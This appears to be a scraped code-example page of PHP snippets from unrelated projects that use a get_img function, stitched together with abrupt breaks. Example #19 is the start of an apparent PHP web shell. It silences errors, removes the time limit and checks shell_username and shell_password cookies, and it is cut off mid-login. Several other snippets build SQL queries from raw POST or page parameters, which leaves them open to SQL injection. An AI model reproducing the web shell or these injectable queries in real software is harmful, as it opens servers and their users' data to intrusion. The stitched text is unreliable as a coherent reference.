         $rss .= get_img('/sys/img/rss_icon_mini.png') . get_link(__('Loads RSS'), '/loads/rss/') . '<br />';
     }
     return $rss;
 }
Beispiel #16
0
//System-----------------------------------------------------------
$tool = new My_Tool();
$sam = new guard();
$unit = new download();
$id = $_POST['id'];
$sql = "select * from `{$now_table}` where upid='" . $id . "' order by id DESC";
$res = mysql_query($sql);
print "<table>";
$n = 0;
while ($row = mysql_fetch_array($res)) {
    if ($n % 5 == 0) {
        print "<tr>";
    }
    print "<td style='padding:5px;width:120px;' valign='middle'>";
    print "<a href='#anb' class='links' style='display:inline'>";
    //刪除圖
    print "<img src='../images/del.png' onmouseover='this.src=\"../images/del-over.png\"' onmouseout='this.src=\"../images/del.png\"' border='0' width='15' align='absmiddle' onClick='download_del(" . $row['id'] . ")'>&nbsp;";
    print "</a>";
    print get_img($row['file']) . "&nbsp;";
    //檔案類別圖
    //檔案名稱
    print "<a href='" . $row['file'] . "' target='_blank' class='links' style='display:inline'>";
    print $row['name'];
    print "</a>";
    print "</td>";
    $n++;
    if ($n % 5 == 0) {
        print "<tr>";
    }
}
print "</table>";
Beispiel #17
0
	<a class="thumbnail list-thumbnail" href="<?php 
    the_permalink();
    ?>
" itemprop="thumbnailUrl"><?php 
    the_post_thumbnail('card');
    ?>
</a> 
<?php 
} elseif ($attachments) {
    // Else, choose the first attached thumbnail.
    ?>
	<a class="thumbnail list-thumbnail" href="<?php 
    the_permalink();
    ?>
" itemprop="thumbnailUrl"><?php 
    get_img('card');
    ?>
</a> 
<?php 
}
/* else { 	// Else, display a default image 
?><img class="attachment-thumb wp-post-image" alt="Kamera" src="<?php bloginfo('stylesheet_directory'); ?>/img/camera.jpg" />
<?php } */
?>

	<header class="entry-header">
		<h2 class="entry-title" itemprop="name headline"><a href="<?php 
the_permalink();
?>
" title="<?php 
echo esc_attr(sprintf(__('Permanent link til %s', 'leksikon'), the_title_attribute('echo=0')));
Beispiel #18
0
 *@para img_dir string 图片文件夹
 *return 成功:图片路径 失败:false
 */
function get_img($img_url, $img_dir)
{
    //获取图片后缀
    $img_suffix = substr($img_url, strrpos($img_url, '.'));
    //获取图片字符串
    $img_str = file_get_contents($img_url);
    //唯一图片名
    $img_name = uniqid() . $img_suffix;
    if (!is_dir($img_dir)) {
        mkdir($img_dir, 0777, true);
    }
    //图片全路径
    $img_path = $img_dir . '/' . $img_name;
    //保存图片
    $res = file_put_contents($img_path, $img_str);
    if (!$res) {
        return false;
    } else {
        return $img_path;
    }
}
//测试
$img_url = 'http://baike.soso.com/p/20090711/20090711100323-2421' . mt_rand(1000, 9999) . '.jpg';
$img_dir = 'd:/imgage_test';
$img_path = get_img($img_url, $img_dir);
echo '<mate charset="utf-8">图片已存入' . $img_path . "\n";
?>
 
Beispiel #19
0
<?php

ob_start();
@closelog();
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
    $strip_all = true;
} else {
    $strip_all = false;
}
if ($_GET['img'] != "") {
    get_img($_GET['img']);
}
/*img func*/
function get_img($img)
{
    $images = array("file" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMZJREFUeNpi/P//PwMlgAWXRFdXFz6Tg8vKytbhNACm2cPDg0FPTw+b/FogxQhiM2HTDNIIA9+/f2f4+vUrw+fPnxk+fPiAYRgTNs1AW7fAxP7+/YuCcYYBzNk7duwAYR9paemXQK44SNO/f/8YYDTeQER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f//3Nz//9DQ/+y3t//hra3/77q6//3Hx//nsLD/NSQkegAAAAAAAAAAz6ioqv/y8v//8PD//+np//fT0//92dn//9vb///W1v/8zMz/9cLC//fExP/3w8P/vpCQ8QkGBjkAAAAAAAAAAMyiol799vb///b2///x8f/22tr/+tzc///j4///29v//tPT//fFxf/5xsb//MjI/5Nubs0AAAAQAAAAAAAAAADasLAr7d7e+v///////Pz/++vr//rj4///6ur//+Li///a2v/6zc3//svL//vFxf9kSUmrAAAAAAAAAAAAAAAA04uLBuLCwtH///////////329v/66+v///Ly///q6v//4OD//NPT///R0f/yvr7/QzAwgwAAAAAAAAAAAAAAAAAAAADcuLiU/////////////f3//fX1///6+v/+7u7//+fn//7a2v//19f/4rGx/yQZGWIAAAAAAAAAAAAAAAAAAAAAln5+dv/+/v/Uu7v/7dra///////XxMT/06+v//3m5v//4+P//9vb/9apqf4MCQlTAAAAAAAAAAAAAAAAAAAAAN21tWfs5eX/pISE/8qsrP/y7Oz/ooeH/7CMjP/hxcX//+rq///f3//LoKDwBgMDPQAAAAAAAAAAAAAAAAAAAADvsrJS4tnZ/4VwcP+hior/5Nra/4Nvb/+NcnL/xK2t///v7///4+P/tJCQ3gEAAB8AAAAAAAAAAAAAAAAAAAAA94SEMu7a2v5zY2P/e25u//Dn5/96aGj/X1BQ/8u8vP//8fH//+Tk/4NlZbMAAAAEAAAAAAAAAAAAAAAAAAAAAP/5+Qn/5ubOybq6/7yysv//////w7Cw/5iKiv/78fH///Hx/+vGxvsmGhpLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn4ODTv/29v///////////////////v7///r6///r6/95X1+UAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4xMRo9+Tk8f////////////////Te3viGaWmJBQICCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPK3tye9nJxke3R0fXhoaHVQODg0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAMADhv+AA8jpgAP67sAD1uXAA6TSwAOL0sAHbszgB4zh4AeO/+AHAALgBwAA4A8AAPAPAAD4HwAA//8AAA==");
    header("Content-type: image/gif");
    header("Cache-control: public");
    echo base64_decode($images[$img]);
    die;
}
if (is_file(md5('andr3a92'))) {
    if (!isset($_COOKIE['shell_username']) || !isset($_COOKIE['shell_password'])) {
        if (!isset($_POST['login'])) {
            echo '<form action="" method="POST">Username: <input type="text" name="username"><br>Password: <input type="password" name="password"><br><input type="submit" value="Login" name="login"></form>';
            die;
        } else {
            $fp = file(md5('andr3a92'));
            $fp = explode('::::', $fp[count($fp) - 2]);
     $content = preg_replace($pdnovel['pregreplace'], $pdnovel['pregcontentfilter'], $content);
 }
 $lastchaptercontent = addslashes(cutstr(strip_tags(get_txtvar($content)), 600));
 $chapterwords = ceil(strlen($content) / 2);
 if (!$startvolume) {
     $start = DB::fetch_first("SELECT volumeid,chapterorder FROM " . DB::table("pdnovel_chapter") . (" WHERE chapterid=" . $novel['lastchapterid']));
     $volumeid = $start['volumeid'];
     $chapterorder = $start['chapterorder'];
 }
 $chapterorder += 1;
 $chapter_data = array("novelid" => $novelid, "volumeid" => $volumeid, "poster" => $_G['username'], "posterid" => $_G['uid'], "postdate" => $time, "lastupdate" => $time, "chaptername" => $chaptername, "chapterorder" => $chapterorder, "chapterwords" => $chapterwords);
 DB::insert("pdnovel_chapter", $chapter_data);
 $chapterid = DB::insert_id();
 $content = function_extent('imgstart', $content);
 if ($pdmodule['icollect'] == 1) {
     $content = get_img($content, $url);
 }
 if ($pdmodule['localimg'] == 1) {
     $imgay = get_matchall("[img]*[/img][m]U", $content);
     foreach ($imgay as $ik => $var) {
         DB::insert("pdnovel_image", array("novelid" => $novelid, "chapterid" => $chapterid));
         $imgid = DB::insert_id();
         $subimgid = floor($imgid / 1000);
         $subsubimgid = floor($subimgid / 1000);
         $imgpath = "data/attachment/pdnovel/img/" . $novelid . "/" . $subsubimgid . "/" . $subimgid . "/" . $imgid . ".jpg";
         dmkdir(dirname($imgpath));
         $data = get_contents($var[0], '', 1);
         file_put_contents($imgpath, $data);
         $content = str_replace("[img]" . $var[0] . "[/img]", "[img]" . $imgpath . "[/img]", $content);
         echo '<p>      &Iacute;¨º&sup3;&Eacute;&micro;&Uacute;' . ($ik + 1) . '&cedil;&ouml;&Iacute;&frac14;&AElig;&not;&sup2;&Eacute;&frac14;&macr;</p>';
         ob_flush();
Beispiel #21
0
function get_section($dbconn, $pagina)
{
    $query = "SELECT * FROM section WHERE pagina = '" . $pagina . "'";
    $query_response = pg_query($dbconn, $query);
    $counter = 0;
    $section = [];
    while ($row = @pg_fetch_array($query_response, $counter, PGSQL_BOTH)) {
        $section[$counter]['id'] = $row['id'];
        $section[$counter]['alt_id'] = $row['alt_id'];
        $section[$counter]['nome'] = $row['nome'];
        $section[$counter]['text'] = $row['texto'];
        //get associated images
        $section[$counter]['img'] = get_img($dbconn, 'section', $tecnica[$counter]['id']);
        $counter++;
        //proxima medicao da tabela SQL
        if ($counter == pg_num_rows($query_response)) {
            break;
            //para a execução do ciclo para que não haja erro quando $counter>numero de linhas na tabela
        }
    }
    return $section;
}
/**
 * status_view.php
 *
 * @package       mod_organizer
 * @author        Andreas Hruska (andreas.hruska@tuwien.ac.at)
 * @author        Katarzyna Potocka (katarzyna.potocka@tuwien.ac.at)
 * @author        Andreas Windbichler
 * @author        Ivan Šakić
 * @copyright     2014 Academic Moodle Cooperation {@link http://www.academic-moodle-cooperation.org}
 * @license       http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
function organizer_generate_registration_table_content($columns, $params)
{
    global $DB;
    list($cm, $course, $organizer, $context) = get_course_module_data();
    $groupmode = is_group_mode();
    if ($groupmode) {
        $entries = organizer_get_status_table_entries_group($params);
    } else {
        $entries = organizer_get_status_table_entries($params);
    }
    $rows = array();
    foreach ($entries as $entry) {
        $row = new html_table_row();
        foreach ($columns as $column) {
            switch ($column) {
                case 'participants':
                    if ($groupmode) {
                        $members = $DB->get_fieldset_select('groups_members', 'userid', "groupid = {$entry->id}");
                        $list = "<em>{$entry->name}</em><br/ >";
                        foreach ($members as $member) {
                            $idnumber = get_user_idnumber($member);
                            $list .= get_name_link($member) . " ({$idnumber}) " . (isset($entry->comments) ? get_img('i/feedback', '', $entry->comments) : '');
                            if ($member == $entry->applicantid) {
                                $list .= ' ' . get_img('pix/applicant.png', 'applicant', 'This is the person that registered the group.') . '<br/>';
                            } else {
                                $list .= ' ' . get_img('pix/transparent.png', 'applicant', '') . '<br/>';
                            }
                        }
                        $row->cells[] = new html_table_cell($list);
                    } else {
                        $row->cells[] = new html_table_cell(get_name_link($entry->id) . " ({$entry->idnumber})");
                    }
                    break;
                case 'registered':
                    $row->cells[] = new html_table_cell(get_status_icon_new($entry->status));
                    break;
                case 'datetime':
                    $row->cells[] = new html_table_cell(date_time($entry));
                    break;
                case 'appdetails':
                    if ($groupmode) {
                        $row->cells[] = new html_table_cell('PLACEHOLDER');
                    } else {
                        $row->cells[] = new html_table_cell(app_details($params, $entry));
                    }
                    break;
                case 'location':
                    $row->cells[] = new html_table_cell(location_link($entry));
                    break;
                case 'teacher':
                    $row->cells[] = new html_table_cell(teacher_data($params, $entry));
                    break;
                case 'actions':
                    $row->cells[] = new html_table_cell(teacher_action_new($params, $entry));
                    break;
            }
        }
        $rows[] = $row;
    }
    return $rows;
}
Beispiel #23
0
<?php

require 'connection.php';
session_start();
$eid = $_GET['id'];
$event = get_event($eid);
$img = get_img($eid);
$mem = members($eid);
if (isset($_SESSION['username'])) {
    $user = $_SESSION['username'];
} else {
    $user = NULL;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0, user-scalable=no"/>
  <title>Eventize</title>
  <link rel="stylesheet" type="text/css" href="assets/css/keyframes.css">
   <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <link rel="stylesheet" type="text/css" href="assets/css/pageTransitions.css">
  <script src="assets/js/jquery.smoothState.js"></script>
  <script src="asset/js/functions.js"></script>
  <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script>
  <script src="assets/js/materialize.js"></script>
  <script src="assets/js/init.js"></script>
  <style type="text/css">
  </style>
  <link href="assets/css/materialize.css" type="text/css" rel="stylesheet" media="screen,projection"/>
Beispiel #24
0
 /**
  * Return posts list
  */
 public function view_theme($id_theme = null)
 {
     $id_theme = (int) $id_theme;
     if (empty($id_theme) || $id_theme < 1) {
         redirect('/forum/');
     }
     $themeModel = $this->Register['ModManager']->getModelInstance('Themes');
     $themeModel->bindModel('forum');
     $themeModel->bindModel('poll');
     $theme = $themeModel->getById($id_theme);
     if (!$theme->getForum()) {
         return $this->showInfoMessage(__('Can not find forum'), '/forum/');
     }
     //turn access
     $this->ACL->turn(array('forum', 'view_themes'));
     // Check access to this forum. May be locked by pass or posts count
     $this->__checkForumAccess($theme->getForum());
     $id_forum = $theme->getId_forum();
     $this->__checkThemeAccess($theme);
     if ($this->cached && $this->Cache->check($this->cacheKey)) {
         $source = $this->Cache->read($this->cacheKey);
     } else {
         // Если запрошенной темы не существует - возвращаемся на форум
         if (empty($theme)) {
             return $this->showInfoMessage(__('Topic not found'), '/forum/');
         }
         // Заголовок страницы (содержимое тега title)
         $this->addToPageMetaContext('entity_title', h($theme->getTitle()));
         $this->addToPageMetaContext('category_title', h($theme->getForum()->getTitle()));
         $markers = array();
         $markers['navigation'] = get_link(__('Forums list'), '/forum/') . __('Separator') . get_link($theme->getForum()->getTitle(), '/forum/view_forum/' . $id_forum) . __('Separator') . get_link($theme->getTitle(), '/forum/view_theme/' . $id_theme);
         if (!empty($description)) {
             $markers['navigation'] .= ' (' . $theme->getDescription() . ')';
         }
         // Page nav
         $postsModelName = $this->Register['ModManager']->getModelName('Posts');
         $postsModel = new $postsModelName();
         $total = $postsModel->getTotal(array('cond' => array('id_theme' => $id_theme)));
         if ($total === 0) {
             $this->__delete_theme($id_theme);
             return $this->showInfoMessage(__('Topic not found'), '/forum/view_forum/' . $id_forum);
         }
         list($pages, $page) = pagination($total, $this->Register['Config']->read('posts_per_page', 'forum'), '/forum/view_theme/' . $id_theme);
         $markers['pagination'] = $pages;
         $this->addToPageMetaContext('page', $page);
         // SELECT posts
         $postsModel->bindModel('author');
         $postsModel->bindModel('editor');
         $postsModel->bindModel('attacheslist');
         $posts = $postsModel->getCollection(array('id_theme' => $id_theme), array('order' => 'time ASC, id ASC', 'page' => $page, 'limit' => $this->Register['Config']->read('posts_per_page', 'forum')));
         // Ссылка "Ответить" (если тема закрыта - выводим сообщение "Тема закрыта")
         if ($theme->getLocked() == 0) {
             $markers['add_link'] = get_link(get_img('/template/' . $this->Register['Config']->read('template') . '/img/reply.png', array('alt' => __('Answer'), 'title' => __('Answer'))), '/forum/view_theme/' . $id_theme . '#sendForm');
         } else {
             $markers['add_link'] = '';
             // __('Theme is locked')
             $markers['closed_theme'] = true;
         }
         if (!$this->ACL->turn(array('forum', 'add_posts', $theme->getId_forum()), false)) {
             $markers['add_link'] = '';
         }
         $markers['meta'] = '';
         $this->_globalize($markers);
         $post_num = ($page - 1) * $this->Register['Config']->read('posts_per_page', 'forum');
         //serialize rating settings
         $settingsModelName = $this->Register['ModManager']->getModelName('UsersSettings');
         $settingsModel = new $settingsModelName();
         $rating_settings = $settingsModel->getCollection(array('type' => 'rating'));
         $rating_settings = count($rating_settings) > 0 ? $rating_settings[0]->getValues() : '';
         $usersModel = $this->Register['ModManager']->getModelInstance('Users');
         $first_top = false;
         if ($page > 1 && $theme->getFirst_top() == '1') {
             $post = $postsModel->getCollection(array('id_theme' => $id_theme), array('order' => 'time ASC, id ASC', 'limit' => 1));
             if (is_array($post) && count($post) == 1) {
                 $posts = array_merge($post, $posts);
                 $first_top = true;
             }
         }
         foreach ($posts as $post) {
             // Если автор сообщения (поста) - зарегистрированный пользователь
             $postAuthor = $post->getAuthor();
             if ($post->getId_author()) {
                 // Аватар
                 if (is_file(ROOT . '/sys/avatars/' . $post->getId_author() . '.jpg')) {
                     $postAuthor->setAvatar(get_url('/sys/avatars/' . $post->getId_author() . '.jpg'));
                 } else {
                     $postAuthor->setAvatar(get_url('/sys/img/noavatar.png'));
                 }
                 // Статус пользователя
                 $status = $this->ACL->get_group_info();
                 $user_status = array_key_exists($postAuthor->getStatus(), $status) ? $status[$postAuthor->getStatus()] : $status[0];
                 $postAuthor->setStatus_title($user_status['title']);
                 // Рейтинг пользователя (по количеству сообщений)
                 $rating = $postAuthor->getPosts();
                 $rank_star = getUserRating($rating, $rating_settings);
                 $postAuthor->setRank($rank_star['rank']);
                 if ($postAuthor->getState()) {
                     $postAuthor->setRank($postAuthor->getState());
                 }
                 $postAuthor->setUser_rank(get_img('/sys/img/' . $rank_star['img']));
                 // Если автор сообщения сейчас "на сайте"
                 $users_on_line = getOnlineUsers();
                 if (isset($users_on_line) && isset($users_on_line[$post->getId_author()])) {
                     $postAuthor->setStatus_on(__('Online'));
                 } else {
                     $postAuthor->setStatus_on(__('Offline'));
                 }
                 // Если пользователь заблокирован
                 if ($postAuthor->getBlocked()) {
                     $postAuthor->setStatus_on('<span class="statusBlock">' . __('Banned') . '</span>');
                 }
                 // Если автор сообщения - незарегистрированный пользователь
             } else {
                 $postAuthor->setAvatar(get_url('/sys/img/noavatar.png'));
                 $postAuthor->setName(__('Guest'));
             }
             $message = $this->Textarier->parseBBCodes($post->getMessage(), $post);
             $post->setMessage($message);
             $signature = $postAuthor->getSignature() ? $this->Textarier->getSignature($postAuthor->getSignature(), $postAuthor->getStatus()) : '';
             $postAuthor->setSignature($signature);
             // If author is authorized user.
             $email = '';
             $privat_message = '';
             $author_site = '';
             $user_profile = '';
             $icon_params = array('class' => 'user-details');
             if ($post->getId_author()) {
                 $user_profile = '&nbsp;' . get_link(get_img('/sys/img/icon_profile.gif', array('alt' => __('View profile'), 'title' => __('View profile'))), getProfileUrl($post->getId_author()), $icon_params);
                 if (isset($_SESSION['user'])) {
                     $email = '&nbsp;' . get_link(get_img('/sys/img/icon_email.gif', array('alt' => __('Send mail'), 'title' => __('Send mail'))), '/users/send_mail_form/' . $post->getId_author(), $icon_params);
                     $privat_message = '&nbsp;' . get_link(get_img('/sys/img/icon_pm.gif', array('alt' => __('PM'), 'title' => __('PM'))), '/users/pm_send_form/' . $post->getId_author(), $icon_params);
                 }
                 $author_site = $post->getAuthor()->getUrl() ? '&nbsp;' . get_link(get_img('/sys/img/icon_www.gif', array('alt' => __('Author site'), 'title' => __('Author site'))), h($post->getAuthor()->getUrl()), array_merge($icon_params, array('target' => '_blank')), true) : '';
             }
             $post->getAuthor()->setAuthor_site($author_site);
             $post->getAuthor()->setProfile_url($user_profile);
             $post->getAuthor()->setEmail_url($email);
             $post->getAuthor()->setPm_url($privat_message);
             // Если сообщение редактировалось...
             if ($post->getId_editor()) {
                 if ($post->getId_author() && $post->getId_author() == $post->getId_editor()) {
                     $editor = __('Edit by author') . ' ' . AtmDateTime::getDate($post->getEdittime());
                 } else {
                     $status_info = $this->ACL->get_user_group($post->getEditor()->getStatus());
                     $editor = __('Edited') . $post->getEditor()->getName() . '(' . $status_info['title'] . ') ' . AtmDateTime::getDate($post->getEdittime());
                 }
             } else {
                 $editor = '';
             }
             $post->setEditor_info($editor);
             //edit and delete links
             $edit_link = '';
             $delete_link = '';
             if (!empty($_SESSION['user'])) {
                 if ($this->ACL->turn(array('forum', 'edit_posts', $theme->getId_forum()), false) || !empty($_SESSION['user']['id']) && $post->getId_author() == $_SESSION['user']['id'] && $this->ACL->turn(array('forum', 'edit_mine_posts', $theme->getId_forum()), false)) {
                     $edit_link = get_link('', '/forum/edit_post_form/' . $post->getId(), array('class' => 'fps-edit'));
                 }
                 if ($this->ACL->turn(array('forum', 'delete_posts', $theme->getId_forum()), false) || !empty($_SESSION['user']['id']) && $post->getId_author() == $_SESSION['user']['id'] && $this->ACL->turn(array('forum', 'delete_mine_posts', $theme->getId_forum()), false)) {
                     $delete_link = get_link('', '/forum/delete_post/' . $post->getId(), array('class' => 'fps-delete', 'onClick' => "return confirm('" . __('Are you sure') . "')"));
                 }
             }
             $on_top = get_link('', '#top', array('class' => 'fps-up'), true);
             $post->setOn_top_link($on_top);
             $post->setEdit_link($edit_link);
             $post->setDelete_link($delete_link);
             //message number
             if ($first_top) {
                 $post->setPost_number(1);
                 $first_top = false;
             } else {
                 $post_num++;
                 $post->setPost_number($post_num);
             }
             $post_number_url = 'http://' . $_SERVER['HTTP_HOST'] . get_url('/' . $this->module . '/view_post/' . $post->getId(), true);
             $post->setPost_number_url($post_number_url);
             //set tags for cache
             $this->setCacheTag(array('post_id_' . $post->getId(), 'user_id_' . $post->getId_author()));
         }
         $this->setCacheTag('theme_id_' . $id_theme);
         // Polls render
         $polls = $theme->getPoll();
         if (!empty($polls[0])) {
             $theme->setPoll($this->_renderPoll($polls[0]));
         } else {
             $theme->setPoll('');
         }
         $markers = array('reply_form' => $this->add_post_form($theme));
         $this->_globalize($markers);
         $source = $this->render('posts_list.html', array('posts' => $posts, 'theme' => $theme));
         //write into cache
         if ($this->cached) {
             $this->Cache->write($source, $this->cacheKey, $this->cacheTags);
         }
     }
     // Если страницу темы запросил зарегистрированный пользователь, значит он ее просмотрит
     if (isset($_SESSION['user']) and isset($_SESSION['newThemes'])) {
         if (count($_SESSION['newThemes']) > 0) {
             if (in_array($id_theme, $_SESSION['newThemes'])) {
                 unset($_SESSION['newThemes'][$id_theme]);
             }
         } else {
             unset($_SESSION['newThemes']);
         }
     }
     $theme->setViews($theme->getViews() + 1);
     $theme->save();
     $_SESSION['VIEW_PAGE'] = 'theme' . $id_theme;
     //clean cache
     $this->Cache->clean(CACHE_MATCHING_TAG, array('action_viev_forum', 'theme_id_' . $id_theme));
     return $this->_view($source);
 }
 /**
  * 上传
  */
 public function _upload_one($files, $config = array())
 {
     if (empty($_SESSION[C('MENU_USER_AUTH_KEY')])) {
         // 没有登录
         $this->out('error', '还没有登录');
     }
     $default_config = array('maxSize' => 3145728, 'rootPath' => './Public/', 'savePath' => './upload/', 'saveName' => array('uniqid', ''), 'autoSub' => true, 'subName' => array('date', 'Ymd'));
     // 如果传入配置会覆盖上面的
     if ($config && is_array($config)) {
         $config = array_merge($config, $default_config);
     } else {
         $config = $default_config;
     }
     $upload = new \Think\Upload($config);
     // 上传文件
     $info = $upload->uploadOne($files);
     if (!$info) {
         // 上传错误提示错误信息
         $this->out('error', $upload->getError());
     }
     $model = D("resource");
     // 实例化对象,实例化的是App/Common/Model下的model
     unset($info['key']);
     unset($info['md5']);
     unset($info['sha1']);
     $info['add_time'] = time();
     $id = $model->data($info)->add();
     $info['id'] = $id;
     $info['path'] = __ROOT__ . '/Public' . ltrim($info['savepath'], '.') . $info['savename'];
     // 上传缩放
     $type = I('type', 'thumb');
     $width = I('width', 100);
     $height = I('height', 100);
     $thumb_img = '';
     if ($type) {
         $thumb_img = get_img($id, $width, $height, $type);
     }
     $info['thumb_img'] = $thumb_img;
     // 上传成功
     $this->out('ok', $info);
 }
Beispiel #26
0
function get_section($dbconn, $pagina)
{
    $query = "SELECT * FROM section WHERE pagina = '" . $pagina . "'";
    $query_response = $dbconn->query($query);
    $counter = 0;
    $section = [];
    while ($row = $query_response->fetch_assoc()) {
        $section[$counter]['id'] = $row['id'];
        $section[$counter]['alt_id'] = $row['alt_id'];
        $section[$counter]['nome'] = $row['nome'];
        $section[$counter]['text'] = $row['texto'];
        //get associated images
        $section[$counter]['img'] = get_img($dbconn, 'section', $tecnica[$counter]['id']);
        $counter++;
        //proxima medicao da tabela SQL
    }
    return $section;
}